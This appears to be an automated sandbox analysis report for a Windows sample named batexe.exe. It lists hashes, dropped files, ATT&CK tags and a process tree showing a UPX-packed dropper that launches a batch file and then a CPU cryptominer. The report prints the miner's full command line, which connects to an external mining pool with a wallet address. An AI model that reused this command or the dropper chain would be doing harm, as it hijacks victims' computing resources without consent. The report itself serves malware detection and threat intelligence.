73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 09:46

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4732	b2e.exe
408	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe
408	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4396-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 4732	4396	batexe.exe	73
PID 4396 wrote to memory of 4732	4396	batexe.exe	73
PID 4396 wrote to memory of 4732	4396	batexe.exe	73
PID 4732 wrote to memory of 4500	4732	b2e.exe	74
PID 4732 wrote to memory of 4500	4732	b2e.exe	74
PID 4732 wrote to memory of 4500	4732	b2e.exe	74
PID 4500 wrote to memory of 408	4500	cmd.exe	77
PID 4500 wrote to memory of 408	4500	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Users\Admin\AppData\Local\Temp\C796.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C796.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C796.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CC97.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C796.tmp\b2e.exe

Filesize
704KB

MD5
2bb8bf63c7d7958f71f9307c8635131f

SHA1
2362f18b011bd1e60fa078052821edefa33b8e08

SHA256
85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

SHA512
59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\C796.tmp\b2e.exe

Filesize
11.2MB

MD5
5b78002a8e5c68ae9e9140f29a174fbe

SHA1
4b88c95d497d47cb24b230d9b4b3f9a1588a7aa7

SHA256
c4292828abe10d566080e086fe349082c5c16e146f284d2f74b09310ea540ec2

SHA512
dbd8740edfe8f41c551758fec020b9bc450df0cea7ce2ee9b74dc51252b8e2484998640ba8d234988384c36950e69298c55d4e6cb6f670dff0a625a821980231

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC97.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.2MB

MD5
8039f2e8bf627b37555fd4b76645dcb2

SHA1
8fc4fe1436aa622081b744bcaa1d949417d50e5f

SHA256
20b9320c3b7ff19bb7d497ff7a189ff81a752cc84e7609dfe1a402633ada3b73

SHA512
197cff4f2fa0ef124f14b199346f6cba72d07db06fc8942344b9ee6888bef749762efe735d134eb71ebf0e8c3400190b24d0dee2ff677bec1f86530bcbc1a18e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
66fcf40e86654f41cad36f479a6844e3

SHA1
67c105d7cc6234acb7827a146004574bc172f796

SHA256
88fce32ee91efaa9368b398581dc3a7138a878c6a105a1377c2ebf70d2cbe9dd

SHA512
ab3d52c322c1ab2eb041b28b8ad55f0a7884bee7c2312510754ce164beacd6a979e1842498abe4afabb50ea8369df9f7023f08ffd86bbdd1bb9eb963293e193a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.4MB

MD5
d5ce6e836580dd4514fb3a9ed08ba01e

SHA1
ab52e943d2935ed5626807581623f07c2a8cf834

SHA256
5391c32e4f6b866d8b9b0da3176c4bc063ee3e1b14704e5667a609871c464b16

SHA512
6cd14daa489f58070bb5bd1e92f8e9970ef1a58aff244af32589d9cb2ef0eb51364e18042dcca624e686afaf09a1d30a963d85d1531c7af8441f87f2375a55f9

Download Submit
memory/408-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/408-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/408-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-43-0x000000005BFD0000-0x000000005C068000-memory.dmp

Filesize
608KB

Download
memory/408-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/408-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/408-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4396-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4732-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4732-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download